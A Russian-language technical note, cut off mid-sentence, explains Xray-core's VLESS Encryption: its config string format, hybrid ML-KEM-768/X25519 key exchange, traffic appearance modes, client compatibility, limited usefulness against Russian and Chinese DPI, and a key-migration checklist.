одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/v2fly-vs-xray.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-06 tags: - xray - vless - encryption - post-quantum - mlkem - censorship aliases: - VLESS Encryption - vlessenc - xray vlessenc - mlkem768x25519plus - Что такое VLESS Encryption - Зачем нужен encryption в vless ссылке - encryption=none что это - VLESS постквантовое шифрование link: https://github.com/XTLS/Xray-core/pull/5067 --- # 🔐 VLESS Encryption: собственное постквантовое шифрование протокола ![[vless-encryption-header.webp]] > [!info] О чём заметка > Разбор **VLESS Encryption** (*vlessenc, шифрование VLESS, mlkem768x25519plus*) — слоя шифрования, который в сентябре 2025 года появился внутри самого протокола [[xray/vless|VLESS]] и снял его историческую зависимость от внешнего TLS. Здесь: что делает команда `xray vlessenc`, как читается длинная строка параметра, какая под этим криптография, что она защищает, а что нет, и главный практический вопрос — помогает ли она обходить блокировки в России и Китае (короткий ответ: напрямую нет, и [[xray/authors-v2ray-xray|RPRX]] — автор Xray-core, VLESS и XTLS — пишет об этом прямым текстом). Разбор слоёв стека и матрица совместимости «что с чем работает» — в [[xray/vless-stack-map|карте слоёв VLESS-стека]]. ## TL;DR - **VLESS Encryption** — отдельный шифрующий слой между протоколом VLESS и транспортом. Он не заменяет ни [[xray/reality|REALITY]], ни TLS, ни [[xray/xtls-vision|Vision]]: те прячут соединение от цензора, а он защищает содержимое от того, кто это соединение всё-таки видит (CDN, промежуточный узел, будущий квантовый компьютер). - Появился в PR [#5067](https://github.com/XTLS/Xray-core/pull/5067) автора RPRX (влит 28 августа 2025). Код вышел уже в пре-релизе v25.8.29, но практический минимум — **v25.9.5** от 5 сентября 2025: это первый стабильный релиз, и только в нём появился генератор `xray vlessenc`, а между двумя релизами формат дважды менялся несовместимо. - Внутри — **два независимых обмена ключами**: аутентификация сервера (X25519 **или** ML-KEM-768 — на выбор) и эфемерный гибрид ML-KEM-768 + X25519, который и даёт forward secrecy с постквантовой стойкостью. - Автор прямо пишет: **«это шифрование не предназначено для прямого прохода через стену»**. Внешний вид соединения оно не меняет, поэтому против блокировок по TLS-отпечатку, SNI, IP и белым спискам эффект нулевой. - Настоящие сценарии применения — **CDN** (спрятать UUID и адрес назначения от Cloudflare), **транзит через чужой узел**, **связка без внешнего TLS вообще**, а также постквантовая защита «сверх» той, что уже есть в REALITY. - Побочный, но важный для практики эффект: с VLESS Encryption **Vision перестал требовать прямого TCP** и стал доступен поверх [[xray/xhttp|XHTTP]], WebSocket и gRPC. - Главные ограничения: несовместим с `fallbacks` (Xray просто не стартует), не поддерживается ядром **sing-box** (а значит Hiddify, NekoBox, Karing), и требует обновлённого Xray-core на обоих концах. ## Проблема, которую решает: у VLESS никогда не было своего шифра Исторический факт, с которого всё начинается: **сам протокол VLESS ничего не шифрует**. Он передаёт версию, UUID пользователя, команду и адрес назначения открытым текстом и рассчитывает, что конфиденциальность обеспечит слой под ним — обычный TLS или [[xray/reality|REALITY]]. Это было сознательным решением: собственное шифрование [[protocols/vmess|VMess]] оказалось и медленнее, и заметнее для DPI, чем настоящий TLS 1.3, поэтому преемник от него отказался (подробнее — в разборе [[xray/vless|протокола VLESS]]). Пока туннель идёт напрямую «клиент → сервер», такая схема работает: внешний TLS шифрует всё, включая заголовок VLESS. Проблемы начинаются там, где между клиентом и сервером появляется кто-то, кто **легально расшифровывает внешний TLS**. Самый массовый такой случай — CDN. Когда VLESS заворачивают в WebSocket или [[xray/xhttp|XHTTP]] и пускают через Cloudflare, TLS-сессия обрывается на границе CDN: дальше до вашего сервера идёт отдельное соединение, а сама Cloudflare видит содержимое кадров. А в содержимом лежит открытый заголовок VLESS — **16 байт UUID, тип и адрес назначения, порт**, и следом весь проксируемый поток, включая SNI сайтов, на которые вы ходите. Формально это не «утечка» — вы сами выбрали пропускать трафик через посредника, — но фактически посредник знает и кто вы, и куда вы ходите. Проще говоря: внешний TLS защищает участок от вас до ближайшего узла, который этот TLS терминирует. Если такой узел — ваш собственный сервер, всё в порядке. Если это CDN, чужой релей или транзитный VPS, то до сервера ваш VLESS-заголовок доезжает в открытом виде. Второй сценарий — связка **вообще без внешнего TLS**: транзит по внутренней сети, где HTTP/TLS запрещены или бессмысленны, или окружения вроде иранского открытого HTTP. Раньше в такой конфигурации VLESS было просто нечем защитить. Третий — «harvest now, decrypt later» («сейчас запишем — потом расшифруем»): наблюдатель сохраняет зашифрованный трафик сегодня в расчёте расшифровать его будущим квантовым компьютером. VLESS Encryption закрывает все три, добавляя шифрование **внутри** протокола — независимо от того, есть ли что-то снаружи. ## Что это технически: ещё один conn поверх открытого VLESS Реализация устроена нарочито просто, и это стоит понимать, потому что из устройства следуют почти все ответы про совместимость. RPRX формулирует принцип так: шифрование — это «дополнительный слой соединения поверх открытого протокола VLESS, не связанный с внутренним протоколом, его легко реализовать и легко заменить». То есть в стеке появляется новая прослойка: ```text приложение (браузер, его собственный TLS до сайта) ↓ протокол VLESS (версия, UUID, адрес назначения) ↓ VLESS Encryption ← новый слой: шифрует всё, что выше ↓ транспорт: RAW TCP / XHTTP / WebSocket / gRPC / mKCP ↓ слой безопасности: TLS, REALITY или none ``` Из этой схемы следуют два неочевидных вывода. **Криптографической связи с внешним TLS/REALITY нет.** Ключи VLESS Encryption выводятся только из его собственных параметров: ни привязки к TLS-сессии (channel binding), ни экспортёра ключей в коде нет. Практический смысл: скомпрометированный CDN или подменённый сертификат снаружи **не ломают** конфиденциальность внутреннего слоя — это самодостаточный контур. Обратное тоже верно: внешний слой не подтверждает подлинность внутреннего и наоборот, слои просто ничего не знают друг о друге. **Ограничений на транспорт нет.** Слой навешивается на любое соединение, поэтому в документации Xray прямо записано: «VLESS Encryption: no underlying transport restrictions» — никаких ограничений на нижележащий транспорт. Именно отсюда взялось важное следствие про Vision (см. раздел ниже). ## Строка параметра: как читать `mlkem768x25519plus.native.600s...` Настройка задаётся двумя парными полями: `decryption` на сервере (в `settings` VLESS-входа) и `encryption` на клиенте (в outbound или в параметре `vless://`-ссылки). Оба поля **обязательны**: пустыми их оставить нельзя, отключение пишется явно — `"none"`. Значение — это блоки, разделённые точками: ```text сервер: метод.внешний_вид.срок_тикета[.padding.delay.padding...].ключ[.ключ...] клиент: метод.внешний_вид.0rtt|1rtt[.padding.delay.padding...].ключ[.ключ...] ``` Третий блок — единственное место, где сервер и клиент синтаксически расходятся: сервер задаёт **срок жизни тикета**, клиент — **режим возобновления сессии**. | Блок | Значения | Что означает | |---|---|---| | Метод хендшейка | `mlkem768x25519plus` | Пока единственный. Должен совпадать у сервера и клиента. Имя оставлено «с запасом»: `plus` намекает на возможность подключить другие обмены ключами позже | | Внешний вид (appearance) | `native` · `xorpub` · `random` | Как выглядит трафик на проводе — разбор ниже. Должен совпадать у обеих сторон | | Тикет (только сервер) | `600s` · `100-500s` · `0s` | `600s` = каждому тикету случайный срок от половины до полного, то есть 300–600 с. Диапазон задаётся явно. `0s` отключает тикеты — тогда каждое соединение идёт по полному 1-RTT | | Режим (только клиент) | `0rtt` · `1rtt` | Пытаться ли возобновлять сессию по тикету или всегда делать полный обмен | | Padding и delay | `вероятность-мин-макс` | Набивка и задержки хендшейка, необязательный блок. Например `100-111-1111` = со 100 % вероятностью добавить 111–1111 байт; `75-0-111` = с 75 % вероятностью подождать 0–111 мс | | Ключ(и) | base64url | Материал аутентификации. Несколько ключей подряд — это цепочка релеев | Если блок padding не указан, ядро подставляет свой набор — `100-111-1111.75-0-111.50-0-3333`. Свой набор писать можно, но с ограничениями на первую набивку: документация требует вероятность 100 % и длину «больше нуля», а код жёстче — **и минимум, и максимум первой набивки должны быть не меньше 35 байт** (сообщение об ошибке так и звучит: `first padding length must not be smaller than 35`). Суммарный padding при этом не превышает 65553 байт. Вот как выглядят реальные строки — именно то, что печатает генератор: ```text "decryption": "mlkem768x25519plus.native.600s." "encryption": "mlkem768x25519plus.native.0rtt." ``` > [!warning] В официальных примерах документации обе строки заканчиваются одинаковым ключом > На странице конфига inbound и outbound приведены примеры с одним и тем же base64-значением в конце. Это плейсхолдер, а не рабочая пара: на сервере в последнем блоке лежит **приватный** ключ X25519 (или seed ML-KEM-768), у клиента — **публичный** материал (X25519 Password или ML-KEM-768 Client). Копировать пример «как есть» в обе стороны нельзя. ## Криптография: два обмена ключами, а не один Здесь легко ошибиться, потому что в описаниях фигурирует «гибрид ML-KEM-768 + X25519», и его принимают за один механизм. На деле обменов **два, и они независимы** — как и в [[xray/reality|REALITY]]. **nfsKey — аутентификация сервера** (*not forward secret*, «не обладающий прямой секретностью»). Это тот самый ключ из последнего блока конфига. Он бывает двух видов, **на выбор, а не одновременно**: либо X25519 (32 байта, компактно, но не постквантово), либо ML-KEM-768 (клиентский ключ занимает 1184 байта — на килобайт длиннее, зато квантово-стойко). Его задача — доказать клиенту, что на том конце действительно ваш сервер. **pfsKey — эфемерный сессионный обмен** (*perfect forward secrecy*, «совершенная прямая секретность»). Вот он **всегда** гибридный: ML-KEM-768 и X25519 выполняются оба, их секреты склеиваются. Именно этот обмен делает записанный сегодня трафик нерасшифровываемым завтра. Дальше оба результата склеиваются в `unitedKey` (96 байт), из которого функция BLAKE3 выводит все рабочие ключи. Трафик шифруется AEAD-шифром — **AES-256-GCM или ChaCha20-Poly1305**, выбор автоматический: клиент смотрит, есть ли у процессора аппаратное ускорение AES, а сервер при неудачной расшифровке первого блока молча переключается на второй вариант. Вариантов со 128-битным ключом нет сознательно — раз конструкция целится в постквантовую стойкость, ключи только 256-битные. Проще говоря: один ключ отвечает за вопрос «тот ли это сервер», второй — за вопрос «сможет ли кто-нибудь расшифровать это через десять лет». Первый можно выбрать коротким, второй постквантов в любом случае. ### Первое соединение: 1-RTT RTT (*round-trip time*) — один полный обмен «туда-обратно». «1-RTT» означает, что перед передачей полезных данных нужен один такой круг: 1. Клиент отправляет 16 байт случайного IV и материал nfs-обмена, затем — уже зашифрованные на nfsKey длину, свой эфемерный публичный ключ ML-KEM-768+X25519 и набивку. 2. Сервер отвечает своим эфемерным публичным ключом (тоже под nfsKey), а под общим `unitedKey` — **тикет** (16 байт, в первых двух зашита длительность жизни) и набивку. 3. Дальше сразу идут данные внутреннего VLESS под `unitedKey` — отдельного «предъявления тикета» в первом соединении нет, клиент просто запоминает выданный тикет на будущее. ### Последующие соединения: 0-RTT Получив тикет, клиент может открывать новые соединения **без круга согласования**: он сразу предъявляет тикет и пишет данные, а сервер отвечает шестнадцатью случайными байтами и зашифрованным внутренним протоколом. Это заметно ускоряет открытие вкладок, где каждое TCP-соединение обычно требовало собственного рукопожатия. Тут есть тонкость, которую часто передают неверно: при 0-RTT переиспользуется **только эфемерный pfsKey**, а nfs-обмен выполняется заново в каждом соединении. Поэтому фактический ключ шифрования у каждого соединения свой — RPRX подчёркивает это как преимущество перед схемами, где возобновление сессии означает буквально тот же ключ. Срок жизни тикета задаёт сервер; генератор ставит `600s`, а рекомендация RPRX — около десяти минут. Захардкоженного значения по умолчанию нет. ### Защита от повторов без синхронизации часов У [[protocols/vmess|VMess]] защита от replay-атак (повторной отправки перехваченного соединения) строилась на временных метках, из-за чего клиент и сервер должны были иметь синхронные часы — расхождение ломало связь. Здесь механика другая: по тикету за одно обращение находится сессия, а сам повтор ловится вторым множеством — сервер помнит уже виденные nfsKey внутри этой сессии и на совпадении возвращает `replay detected`. Часы не нужны вообще. Долгосрочный повтор отсекается двумя способами: тикет истекает, а при перезапуске Xray все тикеты становятся недействительными — состояние намеренно не сохраняется на диск. ## Что защищено, а что нет Это самая ценная часть для практики, потому что вокруг неё больше всего преувеличений. **Утечка приватного ключа сервера** не позволяет расшифровать ранее записанный трафик — за это отвечает эфемерный обмен. Но **позволяет провести MITM будущих соединений**: злоумышленник с этим ключом может выдать себя за сервер. Оговорка про гранулярность: прямая секретность действует с точностью до окна тикета (до десяти минут), потому что pfsKey всё это время живёт в памяти сервера. Компрометация памяти работающего процесса — это не то же самое, что утечка ключа из конфига. **Утечка клиентского конфига** (той самой `vless://`-ссылки) не даёт расшифровать ни прошлый, ни будущий трафик и не даёт возможности MITM. Причина простая: в клиентском конфиге лежит только публичный материал сервера. Это принципиальное отличие от [[protocols/shadowsocks|Shadowsocks]] и VMess, где ключ общий: там, заполучив конфиг с вашего телефона, можно расшифровать трафик и с вашего ноутбука. Но три вещи утечка конфига по-прежнему выдаёт полностью, и об этом стоит помнить всем, кто раздаёт ключи из публичных каналов: - **доступ к прокси** — утёкшая ссылка это рабочий клиент, чужой человек просто пользуется вашим сервером; - **адрес и порт сервера** — то есть цель для блокировки и активного зондирования; - при варианте аутентификации на X25519 — **отложенный квантовый риск**: имея конфиг, будущий квантовый компьютер сможет восстановить приватный ключ сервера и выдать себя за него. Вариант с ML-KEM-768 этого не допускает ценой лишнего килобайта в конфиге. ## Три внешних вида трафика: native, xorpub, random Параметр `appearance` (второй блок) определяет, как хендшейк и записи выглядят на проводе. - **`native`** — «как есть». Публичные ключи в хендшейке идут в открытом виде, а каждая запись данных предваряется пятибайтовым заголовком `17 03 03 LL LL` — тем самым, что у записи TLS 1.3. Это сделано не для маскировки соединения целиком, а чтобы наблюдатель не заметил момент, когда Vision переходит в сквозной режим передачи. - **`xorpub`** — то же самое, но публичные ключи в хендшейке замаскированы XOR-гаммой. Важно понимать границу: гамма выводится из **публичного** ключа сервера, то есть это обфускация, а не конфиденциальность — в коде это помечено комментарием прямым текстом. - **`random`** — вдобавок XOR-ит пятибайтовые заголовки записей потоковым шифром AES-256-CTR, и на проводе не остаётся никакой структуры. Лишних байтов он не добавляет — заголовок есть во всех трёх режимах, — а дополнительной работы получается около **0,06 %** от объёма потока: это те самые 5 байт на запись размером до 8 КБ, которые приходится прогонять через шифр. > [!warning] У `random` есть неочевидная цена: он выключает splice > Режимы `native` и `xorpub` оставляют соединение «пробиваемым» — [[xray/xtls-vision|Vision]] может уйти в zero-copy передачу через ядро (`splice`). Режим `random` оборачивает соединение в отдельный XOR-слой, и ядерный splice становится невозможен: данные обязаны пройти через процесс. Для нагруженного сервера это заметная разница, а выигрыш в незаметности, как показано ниже, спорный. > > Важная оговорка, которая часто теряется: «пробиваемость» `native` и `xorpub` работает **только когда под шифрованием лежит голый TCP без внешнего слоя безопасности**. Если под VLESS Encryption лежат TLS или REALITY, ядро запрещает splice — под шифрованием уже не сырой сокет. > > И теряется не только он. В коде стоит защита «avoids double penetration»: сняв слой VLESS Encryption, Vision **перестаёт разворачивать внешний TLS или REALITY** и пишет прямо в них. Значит, на классической схеме `TCP + REALITY + Vision` включение VLESS Encryption отнимает сразу две вещи — ядерный splice и сквозной проход без второго шифрования: REALITY снова шифрует проксируемый поток, чего до этого не делал. Экономия остаётся только на AEAD самого слоя Encryption. Полная таблица условий — в [[xray/vless-stack-map|карте слоёв]]. ## Как включить Ключи не собирают вручную — для этого есть генератор. Появился он не одновременно с самой функцией, а неделей позже, отдельным PR #5078, и попал в релиз v25.9.5: ```bash xray vlessenc ``` Команда печатает **две готовые пары** сразу: одну с аутентификацией на X25519, вторую на ML-KEM-768, с подписью «выберите одну, не смешивайте; эфемерный обмен постквантов в любом случае». Каждая пара — это строка `decryption` для сервера и парная `encryption` для клиента. Рядом живут более низкоуровневые команды: `xray x25519` (пара X25519, используется и в REALITY), `xray mlkem768` (постквантовая пара для VLESS Encryption) и `xray mldsa65` — последняя относится к постквантовым подписям [[xray/reality|REALITY]], а не к шифрованию VLESS, и их часто путают. Дальше строка `decryption` кладётся в `settings` VLESS-входа на сервере, а `encryption` — в outbound клиента либо в параметр `encryption=` share-ссылки. Формат ссылок при этом менять не пришлось: параметр `encryption` зарезервирован в стандарте `vless://` (обсуждение [#716](https://github.com/XTLS/Xray-core/discussions/716)) ещё пять лет назад, допустимые значения — `none` либо `mlkem768x25519...`, а пустой строкой он быть не может. > [!tip] `flow` при этом лучше не выключать > Частый вопрос: раз VLESS Encryption сам шифрует, нужен ли ещё `flow=xtls-rprx-vision`? В сентябре 2025 его задали RPRX напрямую — в контексте связки с XHTTP, — и ответ был односложным: «рекомендуется включать». Логика в том же PR: XTLS избавляет от повторного шифрования уже зашифрованного потока, то есть без него вы платите за двойную работу. Пустой `flow` вдобавок означает, что набивка внутреннего рукопожатия не применяется вовсе. > [!note] Генерируется один раз на вход, а не на пользователя > Пара `decryption`/`encryption` описывает **криптографию входа**, а не конкретного клиента — пользователи по-прежнему различаются своими UUID. Панелям и ботам, которые выдают ключи, не нужно вызывать `xray vlessenc` при создании каждого пользователя: строка генерируется один раз при создании входа и затем подставляется во все ссылки этого входа. ## Ограничения и совместимость **`fallbacks` использовать нельзя.** Если в VLESS-входе одновременно заданы `fallbacks` и непустой `decryption`, Xray **не запускается**: конфиг не проходит сборку с ошибкой `"fallbacks" can not be used together with "decryption"`. Это не «работает хуже», а полный отказ старта, что для боевого сервера означает падение всех входов из этого конфига. Практическое следствие: вход с маскировкой под настоящий сайт через nginx придётся либо перестроить, либо развести с зашифрованным входом по разным портам. **Поддержка клиентами разделилась по ядрам, а не по названиям приложений.** | Ядро | Поддержка VLESS Encryption | Что это за клиенты | |---|---|---| | Xray-core v25.9.5+ | Да | v2rayN, v2rayNG, v2RayTun, Happ, Streisand, V2Box, OneXray | | mihomo v1.19.13+ | Да, поле `encryption` | [[Clash/02-mihomo\|mihomo]] и клиенты на нём | | sing-box (upstream) | **Нет** (проверено на v1.13.16 и v1.14.0-beta.8, август 2026) | Hiddify, NekoBox for Android | | [[sing-box/sing-box-extended\|sing-box-extended]] | Да, и клиент, и сервер | сборки на этом форке | | Форк ядра KaringX | В коде ядра клиентская часть есть (с 26 мая 2026), но подтверждения, что приложение её использует, нет | Karing | | Собственные ядра | Shadowrocket — нет по состоянию на конец 2025; остальные проверять | Shadowrocket, Stash, Loon | Ключевое здесь — **версия ядра, а не версия приложения**. Параметр `encryption` графические клиенты на Xray протаскивали из ссылки в конфиг задолго до появления шифрования, потому что поле зарезервировано в стандарте ссылок давно; работать или нет решает бинарник Xray внутри. Отсюда типичная ловушка: приложение обновилось, а ядро в нём осталось прошлогодним. Мультиядерные клиенты (Throne, NekoRay на десктопе) поддерживают шифрование на профилях, идущих через Xray, и не поддерживают на профилях через sing-box. Любопытная деталь: mihomo получил поддержку **раньше** самого Xray — 27 августа 2025, портировав код прямо из непринятого ещё PR. > [!danger] Лишнее поле `encryption` может уронить всю подписку в upstream sing-box > Оригинальный sing-box от SagerNet разбирает конфигурацию строго: разбор идёт с запретом неизвестных полей, поэтому незнакомое поле ломает **весь** JSON-документ, а не один узел. Единственный профиль с VLESS Encryption в общей подписке способен оставить пользователя вообще без профилей. Две оговорки: это касается подписок, которые отдаются **в формате конфига sing-box** (клиент, самостоятельно разбирающий `vless://`-ссылку, лишний параметр просто отбросит), и это свойство любого неизвестного поля, а не конкретно `encryption`. > > **Форки ведут себя иначе, и их надо разделять.** [[sing-box/sing-box-extended|sing-box-extended]] от shtorm-7 поддерживает VLESS Encryption **полноценно, с обеих сторон**: в его `option/vless.go` есть и клиентское поле `encryption` в outbound, и серверное `decryption` в inbound, плюс отдельный пакет `protocol/vless/encryption`. То есть на нём можно и подключаться к зашифрованному входу, и поднимать такой вход самому. Поддержка появилась в феврале 2026 (первый стабильный релиз с ней — `v1.13.11-extended-2.0.0` от 29 апреля 2026), а код происходит из Xray-core через промежуточный форк starifly/sing-box. > > С Karing сложнее: в его форке ядра клиентское поле действительно добавили 26 мая 2026, но в списке изменений приложения об этом ни слова, а профильный запрос на эту функцию мейнтейнер закрыл со словами «функции ядра — в sing-box, Karing занимается интерфейсом». Так что записывать Karing в поддерживающие рано. > > На подписку всё это влияет напрямую: конфиг с полем `encryption` extended-сборка съест нормально, а upstream — нет. Осторожность нужна с Hiddify и NekoBox for Android (там upstream), а не со всем, что называется sing-box. **Старый клиент против нового сервера не «покажет ошибку», а зависнет или молча оборвётся.** Поведение зависит от типа ключа. При аутентификации X25519 сервер ждёт 48 байт, разбирает обычный VLESS-заголовок как хендшейк и мгновенно рвёт соединение — в логах видны ошибки расшифровки, для пользователя это выглядит как «подключилось и сразу отвалилось». При аутентификации ML-KEM-768 сервер ждёт 1104 байта, которых старый клиент не пришлёт, — соединение просто висит до таймаута, **и в логе сервера при этом не появляется ничего**. Второй случай особенно неприятен при диагностике: жалоба «не работает» не подкреплена никакими записями. **`security: "none"` разрешён не всегда.** С версии v26.7.11 (июль 2026) Xray отказывается собирать конфигурацию, где VLESS идёт без транспортного шифрования на неприватный адрес: `vless without TLS or other encryption is prohibited unless the server address is a private IP or domain`. Включённый VLESS Encryption снимает этот запрет — он официально признан заменой транспортного TLS для транзитных и non-TLS сценариев. Две границы этого запрета стоит знать точно. Во-первых, проверка применяется **только к исходящим соединениям** — то есть падает конфиг клиента, а серверный вход с `security: none` по-прежнему стартует. Во-вторых, v26.7.11 и более поздние сборки помечены как пре-релизы: последний релиз со стабильной меткой на 6 августа 2026 — v26.3.27 от 27 марта 2026, и в нём этой проверки ещё нет. > [!note] Этот запрет — часть объявленного плана, и важно понимать его границы > RPRX формулирует этот курс дважды. 28 августа 2025 года: «постепенно ограничивать по умолчанию незашифрованный трафик в публичной сети необходимо — это даёт пользователям гарантию безопасности и защищает от случайной ошибки в конфиге; кто точно понимает, что делает, сможет включить обход сам, а новичок просто не получит незашифрованный узел». 23 декабря 2025 года — уже с этапами: «первый шаг — добавить предупреждение, в том числе для Shadowsocks, VMess и insecure; второй шаг — блокировать незашифрованный трафик в публичной сети, обойти смогут только конфигурации, которые нельзя расшарить ссылкой». > > Мишень здесь — **`security: none` вместе с `encryption: none`**, то есть VLESS, у которого нет вообще никакой защиты. Обычный `encryption=none` поверх TLS или [[xray/reality|REALITY]] под это не подпадает и остаётся официально поддерживаемой схемой: документация прямо описывает два равноправных варианта — внешний защищённый транспорт **либо** VLESS Encryption. Подтверждённой даты, когда `encryption=none` перестанет работать в связке с TLS/REALITY, не существует. ## Главный вопрос: помогает ли это против ТСПУ и GFW Короткий ответ: **само по себе — нет**, и это позиция [[xray/authors-v2ray-xray|RPRX]], автора и самого VLESS, и этого шифрования, а не осторожная оценка со стороны. В описании PR #5067 стоит прямая фраза: «особо обратите внимание, это шифрование **не предназначено для того, чтобы вы напрямую проходили стену**; подобные протоколы давно не годятся для прямого прохода — для этого следует использовать REALITY, XHTTP, Vision». В сравнительной таблице того же PR есть строка «годится для прямого обхода», и напротив VLESS Encryption там стоит **❌**, а напротив VLESS+REALITY/TLS — ✔️. Механика объясняет, почему так, лучше ссылки на авторитет. VLESS Encryption лежит **под** протоколом и **над** транспортом. Всё, на что смотрит российский ТСПУ (Технические Средства Противодействия Угрозам) или китайский GFW снаружи, — TLS-отпечаток клиента, SNI, IP и ASN сервера, число соединений и их тайминги — определяется внешним слоем и от включения внутреннего шифрования не меняется. Соответственно против блокировок по фингерпринту, по подсети и по белым спискам (а именно так устроены зафиксированные в России схемы, см. [[VLESS/dpi-tls-june-2026|разбор схемы ограничений]]) эффект нулевой. Точности ради: собственный внешний вид у VLESS Encryption **есть** — это те самые `native`, `xorpub` и `random` плюс настраиваемая набивка рукопожатия. Он просто расположен внутри туннеля, поэтому виден лишь тому, кто уже снял внешний слой. Единственный сценарий, где эта настройка выходит наружу, — конфигурация вообще без внешнего TLS. Любопытно, что сам RPRX в ноябре 2025 года, разбирая российские блокировки, предлагает вложить VLESS Encryption с настраиваемой набивкой внутрь REALITY именно как способ поменять признаки трафика без правки кода — то есть рассматривает его и как рычаг влияния на форму, хотя от прямого обхода отговаривает. ### Про Китай и режим `random`: распространённая ошибка Логика «включу `random`, трафик станет случайным и неотличимым» в китайских условиях работает против пользователя. GFW с 2021 года применяет классификатор **полностью зашифрованного трафика**: он смотрит на первый пакет с данными и **пропускает** соединение, если срабатывает хотя бы одно из пяти исключений — доля единичных битов выходит за пределы 3,4–4,6 на байт; первые шесть или больше байт печатные; больше половины байтов печатные; есть цепочка длиннее двадцати подряд идущих печатных байт; начало похоже на TLS или HTTP. Случайные данные не удовлетворяют ни одному условию — и попадают под блокировку (работа USENIX Security 2023, [PDF](https://www.usenix.org/system/files/usenixsecurity23-wu-mingshi.pdf)). Сам RPRX это подтверждает: «GFW уже занёс полностью случайный внешний вид в чёрный список». > [!warning] `native` тоже не спасает от этого классификатора > Соблазнительно решить, что раз `native` «менее случаен», он безопаснее. Но классификатор GFW анализирует **только первый пакет с данными**, а первый пакет VLESS Encryption во всех трёх режимах начинается с 16 байт случайного IV и материала обмена ключами. TLS-подобный заголовок `17 03 03` в начало первого пакета не попадает: в режиме 1-RTT он появляется только со следующей записи, а в 0-RTT лежит внутри того же пакета, но уже за материалом рукопожатия — примерно на сотом байте. Правило, дающее освобождение по сигнатуре TLS, смотрит именно на начало, а на общую энтропию пять байт не влияют. Поэтому по энтропии `native`, `xorpub` и `random` для классификатора выглядят одинаково. Это вывод из кода и опубликованного алгоритма, а не результат измерения: опубликованных замеров VLESS Encryption против GFW нет. Масштаб угрозы стоит понимать точно, потому что его легко и преувеличить, и преуменьшить. Блокировка применяется **вероятностно — примерно к 26 % соединений, идущих к уже затронутым диапазонам адресов**, а не к четверти всего трафика: если ваш сервер попал под правило, повторные попытки быстро добьют оставшееся. Действует это только на TCP-трафик из Китая наружу и только для части адресов — заметно затронуты ASN хостеров, а Cloudflare и Akamai нет. Блокируется тройка «клиент — сервер — порт» на 120 или 180 секунд. Основные измерения относятся к ноябрю 2021 — сентябрю 2022, но авторы отдельно отмечают, что 16 февраля 2023 перепроверили эксперименты и все правила детекта подтвердились. Данных за 2026 год нет. ### Что реально даёт VLESS Encryption пользователю из России Три конкретных выигрыша, каждый со своей оговоркой. **Vision стал доступен на любом транспорте.** Раньше выбор был жёстким: либо `xtls-rprx-vision` на прямом TCP, либо CDN-транспорт вроде XHTTP и WebSocket — но без Vision. Документация Xray теперь описывает две ситуации, в которых XTLS доступен: `TCP + TLS/REALITY` и `VLESS Encryption` — причём во втором случае «ограничений на нижележащий транспорт нет». Оговорка: на не-TCP транспорте пропадает ядерный splice — но не весь выигрыш по скорости. Документация формулирует это так: если нижний транспорт не TCP, ядро «пробивает только слой Encryption, экономя его накладные расходы»; на TCP дополнительно пробует splice. То есть один полный проход шифрования по всему потоку снимается в любом случае. Подробности комбинаций — в [[xray/vless-stack-map|карте слоёв]]. **CDN больше не читает, кого и куда вы проксируете.** Это ровно тот сценарий, ради которого шифрование и создавалось: «применимо к CDN (избежать раскрытия UUID и проксируемого SNI), к транзиту, к non-TLS». Оговорка обязательная: CDN по-прежнему видит адрес вашего сервера, объёмы и тайминги, и располагает собственными эвристиками детекта туннелей — то есть корректно говорить «CDN не может прочитать содержимое», а не «CDN видит только шум». **Постквантовая защита сверх той, что уже есть.** Здесь важно не преувеличить: утверждение «REALITY не постквантов» на 2026 год неверно. REALITY поддерживает гибридный обмен X25519MLKEM768 (если его поддерживает сайт-донор) и с июля 2025 — опциональную постквантовую подпись ML-DSA-65. Так что VLESS Encryption даёт не закрытие дыры, а **эшелонирование**: его преимущество в том, что сам обмен ключами зашифрован (у TLS и REALITY key share лежит на проводе открытым), и в том, что защита не зависит от того, поддерживает ли ваш донор нужные алгоритмы. **Задокументированных случаев блокировки именно VLESS Encryption нет** — как и подтверждений, что связка с ним живёт дольше. Проверка форума net4people/bbs и русскоязычных публикаций за 2026 год не дала ни одного наблюдения в ту или другую сторону. Любые утверждения вида «с vlessenc не блокируют» на сегодня — домыслы. ## Как мигрировать существующий парк ключей Отдельная практическая тема: включить VLESS Encryption на новом входе просто, а вот перевести сотню уже выданных ключей — операция с реальным риском. Ключевое свойство, из которого всё следует: **уже скопированная пользователем строка `vless://` не изменится сама**. После серверной миграции старая ссылка перестаёт соответствовать входу, и клиент обязан заново получить ссылку — из бота, панели или обновлением подписки. Отсюда порядок, который снимает большинство граблей: - [ ] Разделить входы на три группы: совместимые (можно мигрировать), с `fallbacks` (мигрировать нельзя, Xray не стартует) и legacy, которые решено не трогать. - [ ] Не менять UUID пользователей, адрес, порт, SNI и параметры REALITY — миграция должна затрагивать только `decryption` на сервере и `encryption` в ссылках, иначе отладка превращается в гадание. - [ ] Проверить, что идентификаторы входов не вычисляются из изменяемых полей. Если панель или бот выводит числовой ID из тега входа, правка тега порвёт связи между базой, ключами и клиентами внутри Xray — признак совместимости лучше хранить отдельной пометкой, а тег оставить прежним. - [ ] Снять свежий план прямо перед применением и проверить, что состав клиентов не изменился с момента планирования, — если ключи выдаются параллельно, устаревший план затрёт новых пользователей. - [ ] Сделать резервную копию базы **до** изменений и проверить её целостность, а не просто скопировать файл. - [ ] После применения сверить сохранённую конфигурацию с реально загруженным состоянием Xray: перезапуск не должен потерять ни одного клиента. - [ ] Проверить не только конфиг, но и живое подключение существующим пользовательским ключом — через публичный адрес и порт, до реального HTTPS-ресурса. - [ ] Предупредить пользователей, что нужно переимпортировать ссылку, и отдельно — что владельцам клиентов на sing-box переходить нельзя. > [!example] Как это выглядит на практике > Опыт живой миграции трёх боевых входов (89 ключей, август 2026): связка `TCP + REALITY + VLESS Encryption + flow=xtls-rprx-vision` работает — реальные подключения существующими ключами прошли на всех трёх узлах, состав клиентов после перезапуска Xray совпал с сохранённым до единицы. А вот вход с `gRPC + TLS` и настоящими `fallbacks` пришлось оставить в старом формате: совместить его текущую схему с `decryption` без перестройки транспорта нельзя. ## Стоит ли включать > [!tip] Практический вывод > Включать имеет смысл там, где есть **посредник или отсутствует внешний TLS**: связки через CDN, транзит через чужой узел, каскады, конфигурации с `security: none`. Для классической схемы `TCP + REALITY + Vision` напрямую с клиента на свой сервер VLESS Encryption не обязателен: конфиденциальность там уже обеспечена, а прибавка — эшелонированная постквантовая защита ценой совместимости и, что 